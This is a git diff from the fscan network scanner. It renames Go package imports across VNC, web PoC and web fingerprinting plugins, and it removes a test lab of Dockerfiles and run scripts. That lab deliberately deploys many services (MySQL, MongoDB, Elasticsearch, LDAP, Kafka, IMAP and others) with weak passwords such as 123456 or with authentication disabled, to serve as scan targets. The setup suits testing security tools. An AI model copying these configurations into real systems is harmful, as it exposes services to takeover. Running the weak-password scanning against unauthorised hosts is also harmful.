Details: map[string]interface{}{
@ -269,5 +269,5 @@ func saveVncResult(info *Common.HostInfo, target string, credential VncCredentia
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -1,13 +1,13 @@
package Plugins
import (
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/webscan"
)
// WebPoc 直接执行Web漏洞扫描
func WebPoc(info *Common.HostInfo) error {
if Common.DisablePocScan {
func WebPoc(info *common.HostInfo) error {
if common.DisablePocScan {
return nil
}
WebScan.WebScan(info)

View File

@ -14,9 +14,9 @@ import (
"time"
"unicode/utf8"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/webscan"
"github.com/shadow1ng/fscan/webscan/lib"
"golang.org/x/text/encoding/simplifiedchinese"
)
@ -64,14 +64,14 @@ type ProtocolResult struct {
}
// WebTitle 获取Web标题和指纹信息
func WebTitle(info *Common.HostInfo) error {
func WebTitle(info *common.HostInfo) error {
if info == nil {
return fmt.Errorf("主机信息为空")
}
// 初始化Url
if err := initializeUrl(info); err != nil {
Common.LogError(fmt.Sprintf("初始化Url失败: %v", err))
common.LogError(fmt.Sprintf("初始化Url失败: %v", err))
return err
}
@ -79,7 +79,7 @@ func WebTitle(info *Common.HostInfo) error {
checkData, err := fetchWebInfo(info)
if err != nil {
// 记录错误但继续处理可能获取的数据
Common.LogError(fmt.Sprintf("获取网站信息失败: %s %v", info.Url, err))
common.LogError(fmt.Sprintf("获取网站信息失败: %s %v", info.Url, err))
}
// 分析指纹
@ -89,7 +89,7 @@ func WebTitle(info *Common.HostInfo) error {
// 检查是否为打印机,避免意外打印
for _, v := range info.Infostr {
if v == printerFingerPrint {
Common.LogBase("检测到打印机,停止扫描")
common.LogBase("检测到打印机,停止扫描")
return nil
}
}
@ -99,7 +99,7 @@ func WebTitle(info *Common.HostInfo) error {
}
// 初始化Url根据主机和端口生成完整Url
func initializeUrl(info *Common.HostInfo) error {
func initializeUrl(info *common.HostInfo) error {
if info.Url == "" {
// 根据端口推断Url
switch info.Ports {
@ -109,7 +109,7 @@ func initializeUrl(info *Common.HostInfo) error {
info.Url = fmt.Sprintf("%s://%s", httpsProtocol, info.Host)
default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
protocol, err := detectProtocol(host, Common.Timeout)
protocol, err := detectProtocol(host, common.Timeout)
if err != nil {
return fmt.Errorf("协议检测失败: %w", err)
}
@ -118,7 +118,7 @@ func initializeUrl(info *Common.HostInfo) error {
} else if !strings.Contains(info.Url, "://") {
// 处理未指定协议的Url
host := strings.Split(info.Url, "/")[0]
protocol, err := detectProtocol(host, Common.Timeout)
protocol, err := detectProtocol(host, common.Timeout)
if err != nil {
return fmt.Errorf("协议检测失败: %w", err)
}
@ -129,7 +129,7 @@ func initializeUrl(info *Common.HostInfo) error {
}
// 获取Web信息标题、指纹等
func fetchWebInfo(info *Common.HostInfo) ([]WebScan.CheckDatas, error) {
func fetchWebInfo(info *common.HostInfo) ([]WebScan.CheckDatas, error) {
var checkData []WebScan.CheckDatas
// 记录原始Url协议
@ -190,7 +190,7 @@ func fetchWebInfo(info *Common.HostInfo) ([]WebScan.CheckDatas, error) {
}
// 尝试获取Url支持重试
func fetchUrlWithRetry(info *Common.HostInfo, followRedirect bool, checkData *[]WebScan.CheckDatas) (*WebResponse, error) {
func fetchUrlWithRetry(info *common.HostInfo, followRedirect bool, checkData *[]WebScan.CheckDatas) (*WebResponse, error) {
// 获取页面内容
resp, err := fetchUrl(info.Url, followRedirect)
if err != nil {
@ -223,11 +223,11 @@ func fetchUrl(targetUrl string, followRedirect bool) (*WebResponse, error) {
}
// 设置请求头
req.Header.Set("User-agent", Common.UserAgent)
req.Header.Set("Accept", Common.Accept)
req.Header.Set("User-agent", common.UserAgent)
req.Header.Set("Accept", common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if Common.Cookie != "" {
req.Header.Set("Cookie", Common.Cookie)
if common.Cookie != "" {
req.Header.Set("Cookie", common.Cookie)
}
req.Header.Set("Connection", "close")
@ -355,7 +355,7 @@ func extractTitle(body []byte) string {
}
// 保存Web扫描结果
func saveWebResult(info *Common.HostInfo, resp *WebResponse) {
func saveWebResult(info *common.HostInfo, resp *WebResponse) {
// 处理指纹信息
fingerprints := info.Infostr
if len(fingerprints) == 1 && fingerprints[0] == "" {
@ -379,9 +379,9 @@ func saveWebResult(info *Common.HostInfo, resp *WebResponse) {
}
// 保存扫描结果
result := &Common.ScanResult{
result := &common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Type: common.SERVICE,
Target: info.Host,
Status: "identified",
Details: map[string]interface{}{
@ -395,7 +395,7 @@ func saveWebResult(info *Common.HostInfo, resp *WebResponse) {
"fingerprints": fingerprints,
},
}
Common.SaveResult(result)
common.SaveResult(result)
// 输出控制台日志
logMsg := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
@ -409,7 +409,7 @@ func saveWebResult(info *Common.HostInfo, resp *WebResponse) {
logMsg += fmt.Sprintf(" 指纹:%v", fingerprints)
}
Common.LogInfo(logMsg)
common.LogInfo(logMsg)
}
// 检测目标主机的协议类型(HTTP/HTTPS)

View File

@ -1,11 +0,0 @@
FROM rmohr/activemq:5.15.9
# 复制配置文件
COPY users.properties /opt/activemq/conf/users.properties
COPY activemq.xml /opt/activemq/conf/activemq.xml
# 暴露端口
EXPOSE 61616 61613
# 设置启动命令
CMD ["/opt/activemq/bin/activemq", "console"]

View File

@ -1,2 +0,0 @@
docker build -t activemq-weak .
docker run -d --name activemq-test -p 61616:61616 -p 8161:8161 -p 61613:61613 activemq-weak

View File

@ -1,39 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:amq="http://activemq.apache.org/schema/core"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
http://activemq.apache.org/schema/core http://activemq.apache.org/schema/core/activemq-core.xsd">
<broker xmlns="http://activemq.apache.org/schema/core" useJmx="true" persistent="false">
<!-- 安全设置 -->
<plugins>
<simpleAuthenticationPlugin>
<users>
<authenticationUser username="admin" password="Aa123456789" groups="admins,publishers,consumers"/>
<authenticationUser username="test" password="test123" groups="publishers,consumers"/>
<authenticationUser username="root" password="root123" groups="admins"/>
<authenticationUser username="system" password="admin123" groups="admins"/>
</users>
</simpleAuthenticationPlugin>
<!-- 授权插件 -->
<authorizationPlugin>
<map>
<authorizationMap>
<authorizationEntries>
<authorizationEntry queue=">" read="consumers" write="publishers" admin="admins"/>
<authorizationEntry topic=">" read="consumers" write="publishers" admin="admins"/>
</authorizationEntries>
</authorizationMap>
</map>
</authorizationPlugin>
</plugins>
<transportConnectors>
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
<transportConnector name="stomp" uri="stomp://0.0.0.0:61613?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
</transportConnectors>
</broker>
</beans>

View File

@ -1,4 +0,0 @@
admin=Aa123456789
test=test123
root=root123
system=admin123

View File

@ -1,2 +0,0 @@
docker build -t cassandra-weak .
docker run -d --name cassandra-test -e CASSANDRA_AUTHENTICATOR=AllowAllAuthenticator -p 9042:9042 -p 9160:9160 cassandra:3.11

View File

@ -1,19 +0,0 @@
FROM docker.elastic.co/elasticsearch/elasticsearch:7.9.3
# 设置环境变量允许单节点运行
ENV discovery.type=single-node
# 允许任意IP访问
ENV network.host=0.0.0.0
# 设置弱密码
ENV ELASTIC_PASSWORD=elastic123
# 暴露端口
EXPOSE 9200 9300
# 设置默认用户名elastic和密码elastic123
RUN echo 'elastic:elastic123' > /usr/share/elasticsearch/config/users
# 关闭xpack安全功能使其可以无认证访问
RUN echo 'xpack.security.enabled: false' >> /usr/share/elasticsearch/config/elasticsearch.yml

View File

@ -1,2 +0,0 @@
docker build -t elastic-test .
docker run -d -p 9200:9200 -p 9300:9300 elastic-test

View File

@ -1,2 +0,0 @@
docker run -d -p 20:20 -p 21:21 -e FTP_USER=admin -e FTP_PASS=123456 -e PASV_ADDRESS=127.0.0.1 --name ftp bogem/ftp
Mac上可能有问题

View File

@ -1,74 +0,0 @@
FROM ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
# 安装 Dovecot 和工具
RUN apt-get update && \
apt-get install -y dovecot-imapd dovecot-gssapi ssl-cert net-tools procps && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# 创建邮件存储目录和邮箱
RUN mkdir -p /var/mail/vhosts/ && \
chmod 777 /var/mail/vhosts/
# 创建用户和密码文件
RUN echo "test:{PLAIN}123456" > /etc/dovecot/passwd && \
echo "admin:{PLAIN}admin123" >> /etc/dovecot/passwd && \
echo "root:{PLAIN}root123" >> /etc/dovecot/passwd && \
chown dovecot:dovecot /etc/dovecot/passwd && \
chmod 600 /etc/dovecot/passwd
# 配置Dovecot
RUN echo ' \
protocols = imap \n\
listen = * \n\
ssl = yes \n\
ssl_cert = </etc/ssl/certs/ssl-cert-snakeoil.pem \n\
ssl_key = </etc/ssl/private/ssl-cert-snakeoil.key \n\
mail_location = mbox:~/mail:INBOX=/var/mail/%u \n\
disable_plaintext_auth = no \n\
auth_mechanisms = plain login \n\
auth_debug = yes \n\
auth_debug_passwords = yes \n\
mail_debug = yes \n\
\n\
passdb { \n\
driver = passwd-file \n\
args = scheme=PLAIN /etc/dovecot/passwd \n\
} \n\
\n\
userdb { \n\
driver = static \n\
args = uid=vmail gid=vmail home=/var/mail/%u \n\
} \n\
\n\
service auth { \n\
user = dovecot \n\
unix_listener auth-userdb { \n\
mode = 0600 \n\
user = vmail \n\
} \n\
} \n\
\n\
service imap-login { \n\
inet_listener imap { \n\
port = 143 \n\
} \n\
inet_listener imaps { \n\
port = 993 \n\
ssl = yes \n\
} \n\
} \n\
' > /etc/dovecot/dovecot.conf
# 创建vmail用户并设置正确的权限
RUN groupadd -g 5000 vmail && \
useradd -g vmail -u 5000 vmail && \
chown -R vmail:vmail /var/mail && \
chown -R dovecot:dovecot /etc/dovecot && \
chmod -R 644 /etc/dovecot/dovecot.conf
EXPOSE 143 993
CMD ["dovecot", "-F"]

View File

@ -1,2 +0,0 @@
docker build -t weak-imap .
docker run -d --name imap-test -p 143:143 -p 993:993 weak-imap

View File

@ -1 +0,0 @@
docker-compose up -d

View File

@ -1,22 +0,0 @@
# docker-compose.yml
version: '3'
services:
kafka:
image: bitnami/kafka:latest
ports:
- "9092:9092"
environment:
- KAFKA_CFG_NODE_ID=1
- KAFKA_CFG_PROCESS_ROLES=broker,controller
- KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=1@kafka:9093
- KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER
- KAFKA_CFG_LISTENERS=CONTROLLER://:9093,SASL_PLAINTEXT://:9092
- KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092
- KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,SASL_PLAINTEXT:SASL_PLAINTEXT
- KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN
- KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN
- KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT
- KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf
- ALLOW_PLAINTEXT_LISTENER=yes
volumes:
- ./kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf

View File

@ -1,8 +0,0 @@
KafkaServer {
org.apache.kafka.common.security.plain.PlainLoginModule required
username="admin"
password="admin123"
user_admin="admin123"
user_test="test123"
user_kafka="kafka123";
};

View File

@ -1,18 +0,0 @@
FROM osixia/openldap:1.5.0
# 环境变量设置
ENV LDAP_ORGANISATION="Example Inc"
ENV LDAP_DOMAIN="example.com"
ENV LDAP_BASE_DN="dc=example,dc=com"
# 设置一个弱密码
ENV LDAP_ADMIN_PASSWORD="Aa123456789"
# 允许匿名访问
ENV LDAP_READONLY_USER="true"
ENV LDAP_READONLY_USER_USERNAME="readonly"
ENV LDAP_READONLY_USER_PASSWORD="readonly"
# 暴露端口
EXPOSE 389 636
# 创建初始化脚本
COPY bootstrap.ldif /container/service/slapd/assets/config/bootstrap/ldif/custom/

View File

@ -1,2 +0,0 @@
docker build -t ldap-weak .
docker run -d --name ldap-test -p 389:389 -p 636:636 ldap-weak

View File

@ -1,24 +0,0 @@
dn: ou=users,dc=example,dc=com
objectClass: organizationalUnit
ou: users
dn: cn=admin,ou=users,dc=example,dc=com
objectClass: inetOrgPerson
cn: admin
sn: admin
uid: admin
userPassword: admin123
dn: cn=test,ou=users,dc=example,dc=com
objectClass: inetOrgPerson
cn: test
sn: test
uid: test
userPassword: test123
dn: cn=root,ou=users,dc=example,dc=com
objectClass: inetOrgPerson
cn: root
sn: root
uid: root
userPassword: root123

View File

@ -1,14 +0,0 @@
# 使用SQL Server官方镜像
FROM mcr.microsoft.com/mssql/server:2022-latest
# 设置环境变量
ENV ACCEPT_EULA=Y
ENV MSSQL_SA_PASSWORD=P@ssword123
ENV MSSQL_PID=Express
# 开放1433端口
EXPOSE 1433
# 健康检查
HEALTHCHECK --interval=30s --timeout=3s \
CMD /opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P P@ssword123 -Q "SELECT 1" || exit 1

View File

@ -1,5 +0,0 @@
docker build -t mssql-server .
docker run -d \
-p 1433:1433 \
--name mssql-container \
mssql-server

View File

@ -1,11 +0,0 @@
# 使用Memcached官方镜像
FROM memcached:latest
# 开放11211端口
EXPOSE 11211
# 设置启动参数
# -m 64: 分配64MB内存
# -c 1024: 最大同时连接数1024
# -v: 显示版本信息
CMD ["memcached", "-m", "64", "-c", "1024", "-v"]

View File

@ -1,5 +0,0 @@
docker build -t memcached-server .
docker run -d \
-p 11211:11211 \
--name memcached-container \
memcached-server

View File

@ -1 +0,0 @@
docker run --rm -p 5020:5020 oitc/modbus-server:latest

View File

@ -1,13 +0,0 @@
# 使用MongoDB官方镜像
FROM mongo:latest
# 设置环境变量
ENV MONGO_INITDB_ROOT_USERNAME=admin
ENV MONGO_INITDB_ROOT_PASSWORD=123456
# 开放27017端口
EXPOSE 27017
# 健康检查
HEALTHCHECK --interval=30s --timeout=3s \
CMD mongosh --eval 'db.runCommand("ping").ok' localhost:27017/test --quiet

View File

@ -1,5 +0,0 @@
docker build -t mongodb-server .
docker run -d \
-p 27017:27017 \
--name mongodb-container \
mongodb-server

View File

@ -1,17 +0,0 @@
# 使用MySQL官方镜像
FROM mysql:latest
# 设置环境变量
ENV MYSQL_ROOT_PASSWORD=Password
ENV MYSQL_DATABASE=mydb
# 开放3306端口
EXPOSE 3306
# MySQL配置
# 允许远程访问
COPY my.cnf /etc/mysql/conf.d/my.cnf
# 健康检查
HEALTHCHECK --interval=30s --timeout=3s \
CMD mysql -uroot -p"${MYSQL_ROOT_PASSWORD}" -e "SELECT 1" || exit 1

View File

@ -1,2 +0,0 @@
docker build -t mysql-server .
docker run -d -p 3306:3306 --name mysql-container mysql-server

View File

@ -1,2 +0,0 @@
[mysqld]
bind-address = 0.0.0.0

View File

@ -1,9 +0,0 @@
FROM neo4j:4.4
ENV NEO4J_AUTH=neo4j/123456
ENV NEO4J_dbms_security_procedures_unrestricted=apoc.*
ENV NEO4J_dbms_security_auth_enabled=true
EXPOSE 7474 7687
CMD ["neo4j"]

View File

@ -1,11 +0,0 @@
version: '3'
services:
neo4j:
image: neo4j:4.4
ports:
- "7474:7474"
- "7687:7687"
environment:
- NEO4J_AUTH=neo4j/123456
- NEO4J_dbms_security_auth_enabled=true
container_name: neo4j-weak

View File

@ -1,13 +0,0 @@
# 使用Oracle官方容器镜像
FROM container-registry.oracle.com/database/express:21.3.0-xe
# 设置环境变量
ENV ORACLE_PWD=123456
ENV ORACLE_CHARACTERSET=AL32UTF8
# 开放1521端口
EXPOSE 1521 5500
# 健康检查
HEALTHCHECK --interval=30s --timeout=30s --start-period=5m --retries=3 \
CMD nc -z localhost 1521 || exit 1

View File

@ -1,11 +0,0 @@
首先需要在Oracle Container Registry网站注册并接受许可协议
https://container-registry.oracle.com
docker login container-registry.oracle.com
docker build -t oracle-db .
docker run -d \
-p 1521:1521 \
--name oracle-container \
oracle-db

View File

@ -1,64 +0,0 @@
FROM ubuntu:20.04
# 避免交互式提示
ENV DEBIAN_FRONTEND=noninteractive
# 安装必要的包
RUN apt-get update && apt-get install -y \
dovecot-pop3d \
openssl \
&& rm -rf /var/lib/apt/lists/*
# 生成SSL证书
RUN openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/private/dovecot.pem \
-out /etc/ssl/certs/dovecot.pem \
-subj "/C=US/ST=State/L=City/O=Organization/CN=localhost"
# 配置Dovecot
RUN echo '\
protocols = pop3\n\
listen = *\n\
ssl = yes\n\
ssl_cert = </etc/ssl/certs/dovecot.pem\n\
ssl_key = </etc/ssl/private/dovecot.pem\n\
auth_mechanisms = plain login\n\
disable_plaintext_auth = no\n\
mail_location = mbox:~/mail:INBOX=/var/mail/%u\n\
\n\
passdb {\n\
driver = passwd-file\n\
args = scheme=PLAIN username_format=%u /etc/dovecot/passwd\n\
}\n\
\n\
userdb {\n\
driver = passwd-file\n\
args = username_format=%u /etc/dovecot/users\n\
}\n\
' > /etc/dovecot/dovecot.conf
# 创建密码文件
RUN echo '\
admin:{PLAIN}admin123\n\
test:{PLAIN}test123\n\
root:{PLAIN}root123\n\
' > /etc/dovecot/passwd
# 创建用户文件
RUN echo '\
admin:x:1000:1000::/home/admin:/bin/false\n\
test:x:1001:1001::/home/test:/bin/false\n\
root:x:1002:1002::/home/root:/bin/false\n\
' > /etc/dovecot/users
# 创建必要的目录和权限
RUN mkdir -p /home/admin /home/test /home/root && \
chown 1000:1000 /home/admin && \
chown 1001:1001 /home/test && \
chown 1002:1002 /home/root
# 暴露端口
EXPOSE 110 995
# 启动Dovecot
CMD ["dovecot", "-F"]

View File

@ -1,2 +0,0 @@
docker build -t pop3-test .
docker run -d --name pop3-server -p 110:110 -p 995:995 pop3-test

View File

@ -1,14 +0,0 @@
# 使用PostgreSQL官方镜像
FROM postgres:latest
# 设置环境变量
ENV POSTGRES_USER=postgres
ENV POSTGRES_PASSWORD=123456
ENV POSTGRES_DB=mydb
# 开放5432端口
EXPOSE 5432
# 健康检查
HEALTHCHECK --interval=30s --timeout=3s \
CMD pg_isready -U postgres || exit 1

View File

@ -1,5 +0,0 @@
docker build -t postgres-server .
docker run -d \
-p 5432:5432 \
--name postgres-container \
postgres-server

View File

@ -1,10 +0,0 @@
FROM rabbitmq:3-management
# 环境变量设置默认的用户名和密码
ENV RABBITMQ_DEFAULT_USER=admin
ENV RABBITMQ_DEFAULT_PASS=123456
# 开放标准端口
# 5672: AMQP 协议端口
# 15672: HTTP API 端口和管理UI
EXPOSE 5672 15672

View File

@ -1,2 +0,0 @@
docker build -t rabbitmq-weak .
docker run -d --name rabbitmq-test -p 5672:5672 -p 15672:15672 rabbitmq-weak

Some files were not shown because too many files have changed in this diff Show More